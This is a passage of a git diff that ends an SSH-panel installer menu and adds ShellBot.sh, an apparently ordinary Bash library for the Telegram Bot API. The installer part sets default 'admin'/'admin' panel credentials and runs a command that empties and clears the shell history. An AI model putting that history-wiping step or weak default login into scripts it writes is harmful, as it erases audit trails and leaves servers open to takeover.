"\033[1;36mLINK AREA ADMIN:\033[1;37m $IP:81/admin\033[0m" +echo -e "\033[1;36mLINK AREA REVENDA: \033[1;37m $IP:81\033[0m" +echo -e "\033[1;36mUSUARIO\033[1;37m admin\033[0m" +echo -e "\033[1;36mCONTRASENA\033[1;37m admin\033[0m" +echo -e "\033[1;33mCambie la contrasena cuando logre entrar al panel\033[0m" +cat /dev/null > ~/.bash_history && history -c +} +msg -bar +menu_func "SSHPLUS V10" "SSHPLUS V11" +echo -ne "$(msg -verd "[0]") $(msg -verm2 ">") " && msg -bra "$(fun_trans "SALIR DEL SCRIPT")" +msg -bar +# FIM +selection=$(selection_fun 2) +case ${selection} in +1)panel_v10;; +2)panel_v11;; +esac +msg -ne "$(fun_trans "Enter Para Continuar")" && read enter +${SCPdir}/menu \ No newline at end of file diff --git a/ADM-VENTAS-LEALDROID/Install/ShellBot.sh b/ADM-VENTAS-LEALDROID/Install/ShellBot.sh new file mode 100644 index 0000000..ede264a --- /dev/null +++ b/ADM-VENTAS-LEALDROID/Install/ShellBot.sh @@ -0,0 +1,4241 @@ +#!/bin/bash + +#----------------------------------------------------------------------------------------------------------- +# DATA: 07 de Março de 2017 +# SCRIPT: ShellBot.sh +# VERSÃO: 5.3 +# DESENVOLVIDO POR: Juliano Santos [SHAMAN] +# PÁGINA: http://www.shellscriptx.blogspot.com.br +# FANPAGE: https://www.facebook.com/shellscriptx +# GITHUB: https://github.com/shellscriptx +# CONTATO: shellscriptx@gmail.com +# +# DESCRIÇÃO: ShellBot é uma API não-oficial desenvolvida para facilitar a criação de +# bots na plataforma TELEGRAM. Constituída por uma coleção de métodos +# e funções que permitem ao desenvolvedor: +# +# * Gerenciar grupos, canais e membros. +# * Enviar mensagens, documentos, músicas, contatos e etc. +# * Enviar teclados (KeyboardMarkup e InlineKeyboard). +# * Obter informações sobre membros, arquivos, grupos e canais. +# * Para mais informações consulte a documentação: +# +# https://github.com/shellscriptx/ShellBot/wiki +# +# O ShellBot mantém o padrão da nomenclatura dos métodos registrados da +# API original (Telegram), assim como seus campos e valores. Os métodos +# requerem parâmetros e argumentos para a chamada e execução. Parâmetros +# obrigatórios retornam uma mensagem de erro caso o argumento seja omitido. +# +# NOTAS: Desenvolvida na linguagem Shell Script, utilizando o interpretador de +# comandos BASH e explorando ao máximo os recursos built-in do mesmo, +# reduzindo o nível de dependências de pacotes externos. +#----------------------------------------------------------------------------------------------------------- + +# Verifica se a API já foi instanciada. +[[ $_SHELLBOT_SH_ ]] && return 1 + +# Verifica se os pacotes necessários estão instalados. +for _pkg_ in curl jq getopt; do + # Se estiver ausente, trata o erro e finaliza o script. + if ! which $_pkg_ &>/dev/null; then + echo "ShellBot.sh: erro: '$_pkg_' O pacote requerido não está instalado." 1>&2 + exit 1 # Status + fi +done + +# Script que importou a API. +declare -r _BOT_SCRIPT_=$(basename "$0") + +# API inicializada. +declare -r _SHELLBOT_SH_=1 + +# Desabilitar globbing +set -f + +# curl parâmetros +declare -r _CURL_OPT_='--silent --request' + +# Erros registrados da API (Parâmetros/Argumentos) +declare -r _ERR_TYPE_BOOL_='Tipo incompatível: Suporta somente "true" ou "false".' +declare -r _ERR_TYPE_PARSE_MODE_='Formatação inválida: Suporta somente "markdown" ou "html".' +declare -r _ERR_TYPE_INT_='Tipo incompatível: Suporta somente inteiro.' +declare -r _ERR_TYPE_FLOAT_='Tipo incompatível: Suporta somente float.' +declare -r _ERR_TYPE_POINT_='Máscara inválida: Deve ser “forehead”, “eyes”, “mouth” ou “chin”.' +declare -r _ERR_ACTION_MODE_='Ação inválida: A definição da ação não é suportada.' +declare -r _ERR_PARAM_REQUIRED_='Opção requerida: Verique se o(s) parâmetro(s) ou argumento(s) obrigatório(s) estão presente(s).' +declare -r _ERR_TOKEN_UNAUTHORIZED_='Não autorizado: Verifique se possui permissões para utilizar o token.' +declare -r _ERR_TOKEN_INVALID_='TOKEN inválido: Verique o número do token e tente novamente.' +declare -r _ERR_FUNCTION_NOT_FOUND_='Função inválida: Verique se o nome está correto ou se a função existe.' +declare -r _ERR_BOT_ALREADY_INIT_='Ação não permitida: O bot já foi inicializado.' +declare -r _ERR_FILE_NOT_FOUND_='Arquivo não encontrado: Não foi possível ler o arquivo especificado.' +declare -r _ERR_DIR_WRITE_DENIED_='Permissão negada: Não é possível gravar no diretório.' +declare -r _ERR_DIR_NOT_FOUND_='Não foi possível acessar: Diretório não encontrado.' +declare -r _ERR_FILE_DOWNLOAD_='Falha no download: Arquivo não encontrado.' +declare -r _ERR_FILE_INVALID_ID_='ID inválido: Arquivo não encontrado.' +declare -r _ERR_UNKNOWN_='Erro desconhecido: Ocorreu uma falha inesperada. Reporte o problema ao desenvolvedor.' +declare -r _ERR_SERVICE_NOT_ROOT_='Acesso negado: Requer privilégios de root.' +declare -r _ERR_SERVICE_EXISTS_='Erro ao criar o serviço: O nome do serviço já existe.' +declare -r _ERR_SERVICE_SYSTEMD_NOT_FOUND_='Erro ao ativar: O sistema não possui suporte ao gerenciamento de serviços "systemd".' +declare -r _ERR_SERVICE_USER_NOT_FOUND_='Usuário não encontrado: A conta de usuário informada é inválida.' +declare -r _ERR_VAR_NAME='O identificador da variável é inválido.' + +Json() { jq "$1" <<< "${*:2}" 2>/dev/null | sed -r 's/(^"|"$)//g'; } +GetObjValue(){ sed -nr 's/^\s+"[a-z_]+":\s+"?(.+[^",])*"?,?$/\1/p' | sed ':a;N;s/\n/|/;ta'; } +JsonStatus(){ [[ $(jq '.ok' <<< "$*") == true ]] && return 0 || return 1; } + +MessageError() +{ + # Variáveis locais + local err_message err_param err_line err_func assert ind + + # A variável 'BASH_LINENO' é dinâmica e armazena o número da linha onde foi expandida. + # Quando chamada dentro de um subshell, passa ser instanciada como um array, armazenando diversos + # valores onde cada índice refere-se a um shell/subshell. As mesmas caracteristicas se aplicam a variável + # 'FUNCNAME', onde é armazenado o nome da função onde foi chamada. + + # Obtem o índice da função na hierarquia de chamada. + [[ ${FUNCNAME[1]} == CheckArgType ]] && ind=2 || ind=1 + err_line=${BASH_LINENO[$ind]} # linha + err_func=${FUNCNAME[$ind]} # função + + # Lê o tipo de ocorrência. + # TG - Erro externo retornado pelo core do telegram. + # API - Erro interno gerado pela API do ShellBot. + case $1 in + TG) + # arquivo Json + err_param="$(Json '.error_code' ${*:2})" + err_message="$(Json '.description' ${*:2})" + ;; + API) + err_param="${3:--}: ${4:--}" + err_message="$2" + assert=1 + ;; + esac + + # Imprime erro + printf "%s: erro: linha %s: %s: %s: %s\n" "${_BOT_SCRIPT_}" \ + "${err_line:--}" \ + "${err_func:--}" \ + "${err_param:--}" \ + "${err_message:-$_ERR_UNKNOWN_}" 1>&2 + + # Finaliza script/thread em caso de erro interno, caso contrário retorna 1 + [[ $assert ]] && exit 1 || return 1 +} + +CheckArgType(){ + + local ctype="$1" + local param="$2" + local value="$3" + + # CheckArgType recebe os dados da função chamadora e verifica + # o dado recebido com o tipo suportado pelo parâmetro. + # É retornado '0' para sucesso, caso contrário uma mensagem + # de erro é retornada e o script/thread é finalizado com status '1'. + case $ctype in + var) [[ $value =~ ^[a-zA-Z_]+[a-zA-Z0-9_]*$ ]] || MessageError API "$_ERR_VAR_NAME" "$param" "$value";; + int) [[ $value =~ ^[0-9]+$ ]] || MessageError API "$_ERR_TYPE_INT_" "$param" "$value";; + float) [[ $value =~ ^-?[0-9]+\.[0-9]+$ ]] || MessageError API "$_ERR_TYPE_FLOAT_" "$param" "$value";; + bool) [[ $value =~ ^(true|false)$ ]] || MessageError API "$_ERR_TYPE_BOOL_" "$param" "$value";; + token) [[ $value =~ ^[0-9]+:[a-zA-Z0-9_-]+$ ]] || MessageError API "$_ERR_TOKEN_INVALID_" "$param" "$value";; + file) [[ $value =~ ^@ && ! -f ${value#@} ]] && MessageError API "$_ERR_FILE_NOT_FOUND_" "$param" "$value";; + parsemode) [[ $value =~ ^(markdown|html)$ ]] || MessageError API "$_ERR_TYPE_PARSE_MODE_" "$param" "$value";; + point) [[ $value =~ ^(forehead|eyes|mouth|chin)$ ]] || MessageError API "$_ERR_TYPE_POINT_" "$param" "$value";; + action) [[ $value =~ ^(typing| + upload_photo| + record_video| + upload_video| + record_audio| + upload_audio| + upload_document| + find_location| + record_video_note| + upload_video_note)$ ]] || MessageError API "$_ERR_ACTION_MODE_" "$param" "$value";; + esac + + return 0 +} + +FlushOffset() +{ + local first_id last_id cod end jq_obj + + # Sem erro + cod=0 + update_id=0 + + while [[ $update_id ]] + do + # Lê as atualizações do offset atual. É possível listar no máximo 100 objetos por offset. + if jq_obj=$(ShellBot.getUpdates --limit 100 --offset $(ShellBot.OffsetNext)) + then + # Lê os IDs das atualizações disponíveis, salva o primeiro e último elemento da lista. + # Interrompe o laço se não houver mais atualizações. + unset update_id + update_id=($(Json '.result|.[]|.update_id' $jq_obj)) + + first_id=${first_id:-$update_id} + end=$(ShellBot.OffsetEnd) + ((end > 0)) && last_id=$end + else + # Seta o erro e finaliza o laço em caso de falha na chamada do método. + cod=1 + break + fi + done + + # Retorna '0' se não houver registro. + # Saída: 0|0 + echo "${first_id:-0}|${last_id:-0}" + + # Desativa a flag + unset _FLUSH_OFFSET_ + + # Status + return $cod +} + +CreateUnitService() +{ + local service=${1%.*}.service + local ok='\033[0;32m[OK]\033[0;m' + local fail='\033[0;31m[FALHA]\033[0;m' + + ((UID == 0)) || MessageError API "$_ERR_SERVICE_NOT_ROOT_" + + # O modo 'service' requer que o sistema de gerenciamento de processos 'systemd' + # esteja presente para que o Unit target seja linkado ao serviço. + if ! which systemd &>/dev/null; then + MessageError API "$_ERR_SERVICE_SYSTEMD_NOT_FOUND_"; fi + + + # Se o serviço existe. + test -e /lib/systemd/system/$service && \ + MessageError API "$_ERR_SERVICE_EXISTS_" "$service" + + # Gerando as configurações do target. + cat > /lib/systemd/system/$service << _eof +[Unit] +Description=$1 - (SHELLBOT) +After=network-online.target + +[Service] +User=$2 +WorkingDirectory=$PWD +ExecStart=/bin/bash $1 +ExecReload=/bin/kill -HUP \$MAINPID +ExecStop=/bin/kill -KILL \$MAINPID +KillMode=process +Restart=on-failure +RestartPreventExitStatus=255 +Type=simple + +[Install] +WantedBy=multi-user.target +_eof + + [[ $? -eq 0 ]] && { + + printf '%s foi criado com sucesso !!\n' $service + + ln -s /lib/systemd/system/$service /etc/systemd/system/$service + systemctl daemon-reload + + echo -n "Habilitando..." + systemctl enable $service &>/dev/null && echo -e $ok || \ + { echo -e $fail; MessageError API; } + + sed -i -r '/^\s*ShellBot.init\s/s/\s--?(s(ervice)?|u(ser)?\s+\w+)\b//g' "$1" + + echo -n "Iniciando..." + systemctl start $service &>/dev/null && { + + echo -e $ok + systemctl status $service + echo -e "\nUso: sudo systemctl {start|stop|restart|reload|status} $service" + + } || echo -e $fail + + } || MessageError API + + exit 0 +} + +# Inicializa o bot, definindo sua API e _TOKEN_. +ShellBot.init() +{ + # Verifica se o bot já foi inicializado. + [[ $_SHELLBOT_INIT_ ]] && MessageError API "$_ERR_BOT_ALREADY_INIT_" + + local enable_service user_unit _jq_bot_info + + local param=$(getopt --name "$FUNCNAME" \ + --options 't:mfsu:' \ + --longoptions 'token:, + monitor, + flush, + service, + user:' \ + -- "$@") + + # Define os parâmetros posicionais + eval set -- "$param" + + while : + do + case $1 in + -t|--token) + CheckArgType token "$1" "$2" + declare -gr _TOKEN_="$2" # TOKEN + declare -gr _API_TELEGRAM_="https://api.telegram.org/bot$_TOKEN_" # API + shift 2 + ;; + -m|--monitor) + # Ativa modo monitor + declare -gr _BOT_MONITOR_=1 + shift + ;; + -f|--flush) + # Define a FLAG flush para o método 'ShellBot.getUpdates'. Se ativada, faz com que + # o método obtenha somente as atualizações disponíveis, ignorando a extração dos + # objetos JSON e a inicialização das variáveis. + declare -x _FLUSH_OFFSET_=1 + shift + ;; + -s|--service) + enable_service=1 + shift + ;; + -u|--user) + if ! id "$2" &>/dev/null; then + MessageError API "$_ERR_SERVICE_USER_NOT_FOUND_" "[-u, --user]" "$2"; fi + + user_unit="$2" + shift 2 + ;; + --) + shift + break + ;; + esac + done + + # Parâmetro obrigatório. + [[ $_TOKEN_ ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-t, --token]" + [[ $user_unit && ! $enable_service ]] && MessageError API "$_ERR_PARAM_REQUIRED_" "[-s, --service]" + [[ $enable_service ]] && CreateUnitService "$_BOT_SCRIPT_" "${user_unit:-$USER}" + + # Um método simples para testar o token de autenticação do seu bot. + # Não requer parâmetros. Retorna informações básicas sobre o bot em forma de um objeto Usuário. + + ShellBot.getMe() + { + # Chama o método getMe passando o endereço da API, seguido do nome do método. + local jq_obj=$(curl $_CURL_OPT_ GET $_API_TELEGRAM_/${FUNCNAME#*.}) + + _jq_bot_info=$jq_obj + + # Verifica o status de retorno do método + JsonStatus $jq_obj && { + # Retorna as informações armazenadas em "result". + Json '.result' $jq_obj | GetObjValue + } || MessageError TG $jq_obj + + return $? + } + + ShellBot.getMe &>/dev/null || MessageError API "$_ERR_TOKEN_UNAUTHORIZED_" '[-t, --token]' + + # Salva as informações do bot. + _BOT_INFO_[0]=$_TOKEN_ + _BOT_INFO_[1]=$(Json '.result.id' $_jq_bot_info) + _BOT_INFO_[2]=$(Json '.result.first_name' $_jq_bot_info) + _BOT_INFO_[3]=$(Json '.result.username' $_jq_bot_info) + + # Bot inicializado + declare -gr _BOT_INFO_ + declare -gr _SHELLBOT_INIT_=1 + + # SHELLBOT (FUNÇÕES) + # Inicializa as funções para chamadas aos métodos da API do telegram. + ShellBot.ListUpdates(){ echo ${!update_id[@]}; } + ShellBot.TotalUpdates(){ echo ${#update_id[@]}; } + ShellBot.OffsetEnd(){ local -i offset=${update_id[@]: -1}; echo $offset; } + ShellBot.OffsetNext(){ echo $(($(ShellBot.OffsetEnd)+1)); } + + ShellBot.token() { echo "${_BOT_INFO_[0]}"; } + ShellBot.id() { echo "${_BOT_INFO_[1]}"; } + ShellBot.first_name() { echo "${_BOT_INFO_[2]}"; } + ShellBot.username() { echo "${_BOT_INFO_[3]}"; } + + ShellBot.regHandleFunction() + { + local function callback_data handle args + + local param=$(getopt --name "$FUNCNAME" \ + --options 'f:a:d:' \ + --longoptions 'function:, + args:, + callback_data:' \ + -- "$@") + + eval set -- "$param" + + while : + do + case $1 in + -f|--function) + # Verifica se a função especificada existe. + if ! declare -fp $2 &>/dev/null; then + MessageError API "$_ERR_FUNCTION_NOT_FOUND_" "$1" "$2" + return 1 + fi + function="$2" + shift 2 + ;; + -a|--args) + args="$2" + shift 2 + ;; + -d|--callback_data) + callback_data="$2" + shift 2 + ;; + --) + shift + break + ;; + esac + done + + [[ $function ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-f, --function]" + [[ $callback_data ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-d, --callback_data]" + + # Testa se o indentificador armazenado em handle já existe. Caso já exista, repete + # o procedimento até que um handle válido seja gerado; Evitando sobreescrever handle's existentes. + until ! declare -fp $handle &>/dev/null; do + handle=$(mktemp --dry-run HandleID:XXXXXXXXXXXXXXX) + done + + # Cria a função com o nome gerado e adiciona a chamada com os argumentos especificados. + # Anexa o novo handle a lista no índice associativo definindo em callback_data + function="$handle(){ $function $args; }" + eval "$function" + + declare -Ag _reg_func_handle_list_ + _reg_func_handle_list_[$callback_data]+="$handle " + + return 0 + } + + ShellBot.watchHandle() + { + local callback_data func_handle \ + param=$(getopt --name "$FUNCNAME" \ + --options 'd' \ + --longoptions 'callback_data' \ + -- "$@") + + eval set -- "$param" + + while : + do + case $1 in + -d|--callback_data) + shift 2 + callback_data="$1" + ;; + *) + shift + break + ;; + esac + done + + # O parâmetro callback_data é parcial, ou seja, Se o handle for válido, os elementos + # serão listados. Caso contrário a função é finalizada. + [[ $callback_data ]] || return 1 + + # Lista todos os handles no índice callback_data e executa-os + # consecutivamente. A ordem de execução das funções é determinada + # pela ordem de declaração. + for func_handle in ${_reg_func_handle_list_[$callback_data]}; do + $func_handle; done # executa + + # retorno + return 0 + } + + ShellBot.getWebhookInfo() + { + # Variável local + local jq_obj + + # Chama o método getMe passando o endereço da API, seguido do nome do método. + jq_obj=$(curl $_CURL_OPT_ GET $_API_TELEGRAM_/${FUNCNAME#*.}) + + # Verifica o status de retorno do método + JsonStatus $jq_obj && { + Json '.result' $jq_obj | GetObjValue + } || MessageError TG $jq_obj + + return $? + } + + ShellBot.deleteWebhook() + { + # Variável local + local jq_obj + + # Chama o método getMe passando o endereço da API, seguido do nome do método. + jq_obj=$(curl $_CURL_OPT_ POST $_API_TELEGRAM_/${FUNCNAME#*.}) + + # Verifica o status de retorno do método + JsonStatus $jq_obj || MessageError TG $jq_obj + + return $? + } + + ShellBot.setWebhook() + { + local url certificate max_connections allowed_updates jq_obj + + local param=$(getopt --name "$FUNCNAME" \ + --options 'u:c:m:a:' \ + --longoptions 'url:, + certificate:, + max_connections:, + allowed_updates:' \ + -- "$@") + + eval set -- "$param" + + while : + do + case $1 in + -u|--url) + url="$2" + shift 2 + ;; + -c|--certificate) + CheckArgType file "$1" "$2" + certificate="$2" + shift 2 + ;; + -m|--max_connections) + CheckArgType int "$1" "$2" + max_connections="$2" + shift 2 + ;; + -a|--allowed_updates) + allowed_updates="$2" + shift 2 + ;; + --) + shift + break + ;; + esac + done + + [[ $url ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-u, --url]" + + jq_obj=$(curl $_CURL_OPT_ POST $_API_TELEGRAM_/${FUNCNAME#*.} ${url:+-d url="$url"} \ + ${certificate:+-d certificate="$certificate"} \ + ${max_connections:+-d max_connections="$max_connections"} \ + ${allowed_updates:+-d allowed_updates="$allowed_updates"}) + + # Testa o retorno do método. + JsonStatus $jq_obj || MessageError TG $jq_obj + + # Status + return $? + } + + ShellBot.setChatPhoto() + { + local chat_id photo jq_obj + + local param=$(getopt --name "$FUNCNAME" \ + --options 'c:p:' \ + --longoptions 'chat_id:,photo:' \ + -- "$@") + + eval set -- "$param" + + while : + do + case $1 in + -c|--chat_id) + chat_id="$2" + shift 2 + ;; + -p|--photo) + CheckArgType file "$1" "$2" + photo="$2" + shift 2 + ;; + --) + shift + break + ;; + esac + done + + [[ $chat_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-c, --chat_id]" + [[ $photo ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-p, --photo]" + + jq_obj=$(curl $_CURL_OPT_ POST $_API_TELEGRAM_/${FUNCNAME#*.} ${chat_id:+-F chat_id="$chat_id"} \ + ${photo:+-F photo="$photo"}) + + JsonStatus $jq_obj || MessageError TG $jq_obj + + # Status + return $? + } + + ShellBot.deleteChatPhoto() + { + local chat_id jq_obj + + local param=$(getopt --name "$FUNCNAME" \ + --options 'c:' \ + --longoptions 'chat_id:' \ + -- "$@") + + eval set -- "$param" + + while : + do + case $1 in + -c|--chat_id) + chat_id="$2" + shift 2 + ;; + --) + shift + break + ;; + esac + done + + [[ $chat_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-c, --chat_id]" + + jq_obj=$(curl $_CURL_OPT_ POST $_API_TELEGRAM_/${FUNCNAME#*.} ${chat_id:+-d chat_id="$chat_id"}) + + JsonStatus $jq_obj || MessageError TG $jq_obj + + # Status + return $? + + } + + ShellBot.setChatTitle() + { + + local chat_id title jq_obj + + local param=$(getopt --name "$FUNCNAME" \ + --options 'c:t:' \ + --longoptions 'chat_id:,title:' \ + -- "$@") + + eval set -- "$param" + + while : + do + case $1 in + -c|--chat_id) + chat_id="$2" + shift 2 + ;; + -t|--title) + title="$2" + shift 2 + ;; + --) + shift + break + ;; + esac + done + + [[ $chat_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-c, --chat_id]" + [[ $title ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-t, --title]" + + jq_obj=$(curl $_CURL_OPT_ POST $_API_TELEGRAM_/${FUNCNAME#*.} ${chat_id:+-d chat_id="$chat_id"} \ + ${title:+-d title="$title"}) + + JsonStatus $jq_obj || MessageError TG $jq_obj + + # Status + return $? + } + + + ShellBot.setChatDescription() + { + + local chat_id description jq_obj + + local param=$(getopt --name "$FUNCNAME" \ + --options 'c:d:' \ + --longoptions 'chat_id:,description:' \ + -- "$@") + + eval set -- "$param" + + while : + do + case $1 in + -c|--chat_id) + chat_id="$2" + shift 2 + ;; + -d|--description) + description="$2" + shift 2 + ;; + --) + shift + break + ;; + esac + done + + [[ $chat_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-c, --chat_id]" + [[ $description ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-d, --description]" + + jq_obj=$(curl $_CURL_OPT_ POST $_API_TELEGRAM_/${FUNCNAME#*.} ${chat_id:+-d chat_id="$chat_id"} \ + ${description:+-d description="$description"}) + + JsonStatus $jq_obj || MessageError TG $jq_obj + + # Status + return $? + } + + ShellBot.pinChatMessage() + { + + local chat_id message_id disable_notification jq_obj + + local param=$(getopt --name "$FUNCNAME" \ + --options 'c:m:n:' \ + --longoptions 'chat_id:, + message_id:, + disable_notification:' \ + -- "$@") + + eval set -- "$param" + + while : + do + case $1 in + -c|--chat_id) + chat_id="$2" + shift 2 + ;; + -m|--message_id) + CheckArgType int "$1" "$2" + message_id="$2" + shift 2 + ;; + -n|--disable_notification) + CheckArgType bool "$1" "$2" + disable_notification="$2" + shift 2 + ;; + --) + shift + break + ;; + esac + done + + [[ $chat_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-c, --chat_id]" + [[ $message_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-m, --message_id]" + + jq_obj=$(curl $_CURL_OPT_ POST $_API_TELEGRAM_/${FUNCNAME#*.} ${chat_id:+-d chat_id="$chat_id"} \ + ${message_id:+-d message_id="$message_id"} \ + ${disable_notification:+-d disable_notification="$disable_notification"}) + + JsonStatus $jq_obj || MessageError TG $jq_obj + + # Status + return $? + } + + ShellBot.unpinChatMessage() + { + local chat_id jq_obj + + local param=$(getopt --name "$FUNCNAME" \ + --options 'c:' \ + --longoptions 'chat_id:' \ + -- "$@") + + eval set -- "$param" + + while : + do + case $1 in + -c|--chat_id) + chat_id="$2" + shift 2 + ;; + --) + shift + break + ;; + esac + done + + [[ $chat_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-c, --chat_id]" + + jq_obj=$(curl $_CURL_OPT_ POST $_API_TELEGRAM_/${FUNCNAME#*.} ${chat_id:+-d chat_id="$chat_id"}) + + JsonStatus $jq_obj || MessageError TG $jq_obj + + # Status + return $? + } + + ShellBot.restrictChatMember() + { + local chat_id user_id until_date can_send_messages \ + can_send_media_messages can_send_other_messages \ + can_add_web_page_previews jq_obj + + local param=$(getopt --name "$FUNCNAME" \ + --options 'c:u:d:s:m:o:w:' \ + --longoptions 'chat_id:, + user_id:, + until_date:, + can_send_messages:, + can_send_media_messages:, + can_send_other_messages:, + can_add_web_page_previews:' \ + -- "$@") + + eval set -- "$param" + + while : + do + case $1 in + -c|--chat_id) + chat_id="$2" + shift 2 + ;; + -u|--user_id) + CheckArgType int "$1" "$2" + user_id="$2" + shift 2 + ;; + -d|--until_date) + CheckArgType int "$1" "$2" + until_date="$2" + shift 2 + ;; + -s|--can_send_messages) + CheckArgType bool "$1" "$2" + can_send_messages="$2" + shift 2 + ;; + -m|--can_send_media_messages) + CheckArgType bool "$1" "$2" + can_send_media_messages="$2" + shift 2 + ;; + -o|--can_send_other_messages) + CheckArgType bool "$1" "$2" + can_send_other_messages="$2" + shift 2 + ;; + -w|--can_add_web_page_previews) + CheckArgType bool "$1" "$2" + can_add_web_page_previews="$2" + shift 2 + ;; + --) + shift + break + ;; + esac + done + + [[ $chat_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-c, --chat_id]" + [[ $user_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-c, --user_id]" + + jq_obj=$(curl $_CURL_OPT_ POST $_API_TELEGRAM_/${FUNCNAME#*.} ${chat_id:+-d chat_id="$chat_id"} \ + ${user_id:+-d user_id="$user_id"} \ + ${until_date_:+-d until_date="$until_date"} \ + ${can_send_messages:+-d can_send_messages="$can_send_messages"} \ + ${can_send_media_messages:+-d can_send_media_messages="$can_send_media_messages"} \ + ${can_send_other_messages:+-d can_send_other_messages="$can_send_other_messages"} \ + ${can_add_web_page_previews:+-d can_add_web_page_previews="$can_add_web_page_previews"}) + + JsonStatus $jq_obj || MessageError TG $jq_obj + + # Status + return $? + + } + + + ShellBot.promoteChatMember() + { + local chat_id user_id can_change_info can_post_messages \ + can_edit_messages can_delete_messages can_invite_users \ + can_restrict_members can_pin_messages can_promote_members \ + jq_obj + + local param=$(getopt --name "$FUNCNAME" \ + --options 'c:u:i:p:e:d:v:r:f:m:' \ + --longoptions 'chat_id:, + user_id:, + can_change_info:, + can_post_messages:, + can_edit_messages:, + can_delete_messages:, + can_invite_users:, + can_restrict_members:, + can_pin_messages:, + can_promote_members:' \ + -- "$@") + + eval set -- "$param" + + while : + do + case $1 in + -c|--chat_id) + chat_id="$2" + shift 2 + ;; + -u|--user_id) + CheckArgType int "$1" "$2" + user_id="$2" + shift 2 + ;; + -i|--can_change_info) + CheckArgType bool "$1" "$2" + can_change_info="$2" + shift 2 + ;; + -p|--can_post_messages) + CheckArgType bool "$1" "$2" + can_post_messages="$2" + shift 2 + ;; + -e|--can_edit_messages) + CheckArgType bool "$1" "$2" + can_edit_messages="$2" + shift 2 + ;; + -d|--can_delete_messages) + CheckArgType bool "$1" "$2" + can_delete_messages="$2" + shift 2 + ;; + -v|--can_invite_users) + CheckArgType bool "$1" "$2" + can_invite_users="$2" + shift 2 + ;; + -r|--can_restrict_members) + CheckArgType bool "$1" "$2" + can_restrict_members="$2" + shift 2 + ;; + -f|--can_pin_messages) + CheckArgType bool "$1" "$2" + can_pin_messages="$2" + shift 2 + ;; + -m|--can_promote_members) + CheckArgType bool "$1" "$2" + can_promote_members="$2" + shift 2 + ;; + --) + shift + break + ;; + esac + done + + [[ $chat_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-c, --chat_id]" + [[ $user_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-c, --user_id]" + + jq_obj=$(curl $_CURL_OPT_ POST $_API_TELEGRAM_/${FUNCNAME#*.} ${chat_id:+-d chat_id="$chat_id"} \ + ${user_id:+-d user_id="$user_id"} \ + ${can_change_info:+-d can_change_info="$can_change_info"} \ + ${can_post_messages:+-d can_post_messages="$can_post_messages"} \ + ${can_edit_messages:+-d can_edit_messages="$can_edit_messages"} \ + ${can_delete_messages:+-d can_delete_messages="$can_delete_messages"} \ + ${can_invite_users:+-d can_invite_users="$can_invite_users"} \ + ${can_restrict_members:+-d can_restrict_members="$can_restrict_members"} \ + ${can_pin_messages:+-d can_pin_messages="$can_pin_messages"} \ + ${can_promote_members:+-d can_promote_members="$can_promote_members"}) + + JsonStatus $jq_obj || MessageError TG $jq_obj + + # Status + return $? + } + + ShellBot.exportChatInviteLink() + { + local chat_id jq_obj + + local param=$(getopt --name "$FUNCNAME" \ + --options 'c:' \ + --longoptions 'chat_id:' \ + -- "$@") + + eval set -- "$param" + + while : + do + case $1 in + -c|--chat_id) + chat_id="$2" + shift 2 + ;; + --) + shift + break + ;; + esac + done + + [[ $chat_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-c, --chat_id]" + + jq_obj=$(curl $_CURL_OPT_ GET $_API_TELEGRAM_/${FUNCNAME#*.} ${chat_id:+-d chat_id="$chat_id"}) + + # Testa o retorno do método. + JsonStatus $jq_obj && { + Json '.result' $jq_obj + } || MessageError TG $jq_obj + + # Status + return $? + } + + ShellBot.sendVideoNote() + { + local chat_id video_note duration length disable_notification \ + reply_to_message_id reply_markup jq_obj + + local param=$(getopt --name "$FUNCNAME" \ + --options 'c:v:t:l:n:r:m:' \ + --longoptions 'chat_id:, + video_note:, + duration:, + length:, + disable_notification:, + reply_to_message_id:, + reply_markup:' \ + -- "$@") + + # Define os parâmetros posicionais + eval set -- "$param" + + while : + do + case $1 in + -c|--chat_id) + chat_id="$2" + shift 2 + ;; + -v|--video_note) + CheckArgType file "$1" "$2" + video_note="$2" + shift 2 + ;; + -t|--duration) + CheckArgType int "$1" "$2" + duration="$2" + shift 2 + ;; + -l|--length) + CheckArgType int "$1" "$2" + length="$2" + shift 2 + ;; + -n|--disable_notification) + CheckArgType bool "$1" "$2" + disable_notification="$2" + shift 2 + ;; + -r|--reply_to_message_id) + CheckArgType int "$1" "$2" + reply_to_message_id="$2" + shift 2 + ;; + -m|--reply_markup) + reply_markup="$2" + shift 2 + ;; + --) + shift + break + ;; + esac + done + + [[ $chat_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-c, --chat_id]" + [[ $video_note ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-v, --video_note]" + + jq_obj=$(curl $_CURL_OPT_ POST $_API_TELEGRAM_/${FUNCNAME#*.} ${chat_id:+-F chat_id="$chat_id"} \ + ${video_note:+-F video_note="$video_note"} \ + ${duration:+-F duration="$duration"} \ + ${length:+-F length="$length"} \ + ${disable_notification:+-F disable_notification="$disable_notification"} \ + ${reply_to_message_id:+-F reply_to_message_id="$reply_to_message_id"} \ + ${reply_markup:+-F reply_markup="$reply_markup"}) + + # Testa o retorno do método. + JsonStatus $jq_obj && { + Json '.result' $jq_obj | GetObjValue + } || MessageError TG $jq_obj + + # Status + return $? + } + + + ShellBot.InlineKeyboardButton() + { + local __button __line __text __url __callback_data \ + __switch_inline_query __switch_inline_query_current_chat \ + __delm + + local __param=$(getopt --name "$FUNCNAME" \ + --options 'b:l:t:u:c:q:s:' \ + --longoptions 'button:, + line:, + text:, + url:, 